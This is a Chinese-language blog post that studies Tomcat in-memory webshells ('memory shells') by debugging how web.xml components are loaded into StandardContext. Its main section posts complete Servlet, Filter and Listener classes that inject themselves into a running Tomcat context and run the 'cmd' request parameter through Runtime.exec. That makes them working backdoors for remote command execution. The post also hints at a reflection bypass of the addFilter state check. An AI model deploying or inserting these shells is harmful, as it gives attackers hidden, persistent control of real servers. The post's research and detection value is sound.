前言
内存马之前有接触过,在阿里SRC的宙斯活动中薅了点羊毛,但当时只是会用,不了解他的原理。本文通过调试的方法了解内存马的原理,并实现常见的几种内存马。
前置知识
Java Web三大组件
Servlet
Servlet是Server Applet的缩写,即服务端小程序,可以接收客户端发送的请求,并将响应数据发送回客户端。Servlet是Java Web中最常用的一种组件,就算只用到了jsp或jspx开始,实际上也用到了Servlet,因为jsp和jspx本质上是HttpServlet,而HttpServlet又是Servlet的子类。
Filter
Filter可以在请求到达Servlet、响应到达客户端之前,对请求或响应做处理,因此Listener常被用来实现过滤或访问控制等。
Listener
Listener是用来监听某一事件的,具体可实现统计在线用户数、访问统计等。Listener的种类很多,有ServletContextAttributeListener
、ServletRequestAttributeListener
、ServletRequestListener
、HttpSessionIdListener
和HttpSessionAttributeListener
。其中ServletRequestListener
是用来监听请求的,很适合实现内存马。
两种上下文
与内存马相关的两种上下文是ApplicationContext和StandardContext。ApplicationContext是实现ServletContext的类,记录的是Servlet的一些上下文信息,而StandardContext记录的是包括web.xml在内的一些Web应用信息。
至于什么是Context,个人理解是与它的中文意思一样,上下文或语境,是一种小范围的环境变量,当然也因为是一个类,有相应的有方法操作这些上下文信息。
Context的获取也需要提一提,因为是后续内存马的加载依赖于StandardContext,是内存马的关键。其中常用的一种方法是通过HttpServletRequest对象的getServletContext
方法获取ServletContext对象,实际上是封装了ApplicationContent的ApplicationContextFacade,而ApplicationContext又是tomcat中时实现ServletContext接口的类,然后其中有context
属性,存储着StandardContext对象,可以通过反射获取。
如果没有request的话,还可以从线程中获取,详细分析可以看长亭一位师傅的文章:Tomcat的一种通用回显方法研究,除此之外还有从MBean中获取,但相对复杂一些。
web.xml加载和Tomcat启动流程调试
大多数师傅的内存马分析文章都是从ApplicationContext的addServlet
、addFilter
和addListener
方法了解Java Web三大组件的加载原理的,但本文从web.xml加载和Tomcat启动流程的角度分析内存马原理,不过实质上都是一样的,最终修改StandardCotext的内容实现的。
既然是调试,要先做些准备工作,在IDEA中新建一个Java Web项目后,还需在maven中添加个tomcat-embed-core
的依赖如下,版本则设置与本地tomcat版本相同,方便下断点和调试。
1 2 3 4 5
| <dependency> <groupId>org.apache.tomcat.embed</groupId> <artifactId>tomcat-embed-core</artifactId> <version>8.5.71</version> </dependency>
|
由于对tomcat的源码没有研究,所以真不知道段点应该在哪里下,好在在网上找到篇文章叫Tomcat应用 web.xml的加载过程。文中提到web.xml的加载到StandardContext由org.apache.catalina.startup.ContextConfig
类的configureContext
方法实现。
此时在web.xml中配置三大组件如下,并在configureContext
方法处下段点即可开始调试。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
| <servlet> <servlet-name>p1ay2win</servlet-name> <servlet-class>com.p1ay2win.JavaWebMemoryShell.exploit.ServletDemo</servlet-class> </servlet> <servlet-mapping> <servlet-name>p1ay2win</servlet-name> <url-pattern>/p1ay2win</url-pattern> </servlet-mapping>
<filter> <filter-name>p1ay2win</filter-name> <filter-class>com.p1ay2win.JavaWebMemoryShell.exploit.FilterDemo</filter-class> </filter> <filter-mapping> <filter-name>p1ay2win</filter-name> <url-pattern>/*</url-pattern> </filter-mapping>
<listener> <listener-class>com.p1ay2win.JavaWebMemoryShell.exploit.ListenerDemo</listener-class> </listener>
|
使用webxml对象,也就是web.xml解析后的内容,调用的方法名可得知,configureContext
方法先后使用属性context
,也就是StandardContext的实例,添加Fiter、Listener和Servlet。
1 2 3 4 5 6 7 8 9 10 11 12
| for (ServletDef servlet : webxml.getServlets().values()) { Wrapper wrapper = context.createWrapper(); ... wrapper.setName(servlet.getServletName()); ... wrapper.setServletClass(servlet.getServletClass()); ... context.addChild(wrapper); } for (Entry<String, String> entry : webxml.getServletMappings().entrySet()) { context.addServletMappingDecoded(entry.getKey(), entry.getValue()); }
|
先说说Servlet加载的流程,StandardContext实例新建一个Wrapper,然后封装进Servlet名和Servlet类名的信息,在加入为StandardContext的子容器,这里对于的是web.xml中的<servlet>
;接着获取ServletMapping信息,加入到StandardContext的ServletMapping中,对应的是<servlet-mapping>
。
在Filter的加载流程中,先后将FilterDef和FilterMap加入到StandardContext实例中,对应的是<filter>
和<filter-mapping>
。
在Listener的加载流程中,只需将filter名加入到StandardContext实例的applicationListener中。
按照上述流程,写一个Servlet的内存马是正常的,而Filter和Listener就没有生效,与ApplicationContext的addFilter
和addListener
方法和正常加载web.xml的StandardContext实例对比,StandardContext实例正常情况下Filter还设置了的filterConfig,而Listener还设置了applicationEventListener。
对这两个属性下断点,加载了web.xml配置后,StandardContext实例还分别调用listenerStart
和filterStart
方法,设置了上述两个属性,所以内存马最终也需要调用listenerStart
和filterStart
方法才完成Listener和Filter的加载。
再说一个尝试写内存马时候遇到的坑,一开始也像网上大多数的例子一样在方法里实现Servlet、Filter和Listener接口,并实例化;然后完全按照tomcat启动流程加载这三个组件的时候没效果,在一个报错页面中看到无法实例化的异常,在StandardContext实例确实也没看到这三个组件的实例。于是从StandardContext的stratInternal
方法一步一步调,发现会使用传入的三个组件的类名进行实例化,由于是在方法里实现的三个组件的接口类,这三个组件的类属于是内部类,所以普通的反射没法实例化这三个类,导致这三个组件没法正常加载。
小结
此处小结总结下三个主键的加载条件
Servlet
- Wrapper封装Servlet的信息
- 加入Wrapper到StandardContext的children中
Filter
- 加入到StandardContext的filterDefs
- 加入到StandardContext的filterMaps
- 加入到StandardContext的filterConfigs
Listener
- 加入Listener对象到StandardContext的applicationEventListener中
三种内存马实现
这里直接贴代码了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31
| package com.p1ay2win.JavaWebMemoryShell.exploit;
import org.apache.catalina.Wrapper; import org.apache.catalina.core.StandardContext; import org.apache.catalina.loader.WebappClassLoaderBase;
import javax.servlet.http.HttpServlet; import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletResponse; import java.io.IOException;
public class ServletDemo extends HttpServlet { public ServletDemo() { WebappClassLoaderBase webappClassLoaderBase = (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader(); StandardContext standardContext = (StandardContext) webappClassLoaderBase.getResources().getContext();
if (standardContext.findServletMapping("/p1ay2win") == null) { Wrapper wrapper = standardContext.createWrapper(); wrapper.setName("p1ay2win"); wrapper.setServletClass(this.getClass().getName()); standardContext.addChild(wrapper);
standardContext.addServletMappingDecoded("/p1ay2win", "p1ay2win"); } }
@Override public void doGet(HttpServletRequest request, HttpServletResponse response) throws IOException { Runtime.getRuntime().exec("cmd /c" + request.getParameter("cmd")); } }
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43
| package com.p1ay2win.JavaWebMemoryShell.exploit;
import org.apache.catalina.core.StandardContext; import org.apache.catalina.loader.WebappClassLoaderBase; import org.apache.tomcat.util.descriptor.web.FilterDef; import org.apache.tomcat.util.descriptor.web.FilterMap;
import javax.servlet.*; import java.io.IOException;
public class FilterDemo implements Filter { public FilterDemo() { WebappClassLoaderBase webappClassLoaderBase = (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader(); StandardContext standardContext = (StandardContext) webappClassLoaderBase.getResources().getContext();
if (standardContext.findFilterDef("p1ay2win") == null) { FilterDef filterDef = new FilterDef(); filterDef.setFilterName("p1ay2win"); filterDef.setFilterClass(this.getClass().getName()); standardContext.addFilterDef(filterDef);
FilterMap filterMap = new FilterMap(); filterMap.setFilterName("p1ay2win"); filterMap.addURLPattern("/*"); standardContext.addFilterMap(filterMap); standardContext.filterStart(); } }
@Override public void init(FilterConfig filterConfig) { }
@Override public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException { Runtime.getRuntime().exec("cmd /c " + servletRequest.getParameter("cmd")); filterChain.doFilter(servletRequest, servletResponse); }
@Override public void destroy() { } }
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35
| package com.p1ay2win.JavaWebMemoryShell.exploit;
import org.apache.catalina.core.StandardContext; import org.apache.catalina.loader.WebappClassLoaderBase;
import javax.servlet.ServletRequestEvent; import javax.servlet.ServletRequestListener; import java.io.IOException; import java.util.Arrays;
public class ListenerDemo implements ServletRequestListener {
public ListenerDemo() { WebappClassLoaderBase webappClassLoaderBase = (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader(); StandardContext standardContext = (StandardContext) webappClassLoaderBase.getResources().getContext(); if (!Arrays.asList(standardContext.findApplicationListeners()).contains(this.getClass().getName())) { standardContext.addApplicationListener(this.getClass().getName()); standardContext.listenerStart(); } }
@Override public void requestInitialized(ServletRequestEvent sre) { try { if (sre.getServletRequest().getParameter("cmd") != null) Runtime.getRuntime().exec(sre.getServletRequest().getParameter("cmd")); } catch (IOException e) { e.printStackTrace(); } }
@Override public void requestDestroyed(ServletRequestEvent sre) { } }
|
内存马除了使用StandardContext自带的方法加载,还可使用ApplicationContext的addServlt
、addFilter
和addListener
方法加载,但之所以很少人使用这种方法,是因为addXXX
方法都有下面这段代码,检测运行状态,不允许初始化后在添加组件。
1 2 3 4 5
| if (!context.getState().equals(LifecycleState.STARTING_PREP)) { throw new IllegalStateException( sm.getString("applicationContext.addXXX.ise", getContextPath())); }
|
既然是属性,肯定是能够通过反射的方法修改它的值,然后绕过检测的,但本文因为篇幅问题就不给出实现代码了,也因为挺简单的,有兴趣的师傅可以试试。
后记
这里插个题外话,跟一个安全研究的师兄聊天的时候聊到了内存马,我向他请教说为什么说是内存马,但Catalina目录下会生成内存马的.class
和.java
文件,不是无文件落地吗?还跟他探讨了一阵子。后来他意识到我是通过访问上传的jsp生成的内存马,而访问jsp文件时tomcat的机制是先从Catalina目录下找是否存在这个类,如果没有则会根据jsp文件生成HttpServlet类并编译,放到Catalina目录下,所以删除上传的jsp文件,Catalina目录下相应的内容也会被删除,但真正意义上的无文件还是通过反序列化实现。想想闹这出笑话也是6月份的时候了,感慨时间过得好快。😔
原本打算在文中也加上Spring内存马的内容,奈何Spring的启动流程比Tomcat复杂太多,Tomcat的调试也搞得我够呛的了,Spring的内容还是留在后续再研究吧。通过这次学习,感觉Java安全跟代码的相关性很强。加油吧,骚年
参考
https://mp.weixin.qq.com/s?__biz=MzIxMjEwNTc4NA==&mid=2652991099&idx=1&sn=a6c34bb344f105eb98fc6943c7439331&scene=21#wechat_redirect%EF%BC%88%EF%BC%89
https://www.freebuf.com/articles/web/274466.html
https://su18.org/post/memory-shell/
https://github.com/bitterzzZZ/MemoryShellLearn
https://landgrey.me/blog/12/
https://www.freebuf.com/articles/web/274466.html
https://www.cnblogs.com/colin-xun/p/10573504.html
https://blog.csdn.net/lblblblblzdx/article/details/80946526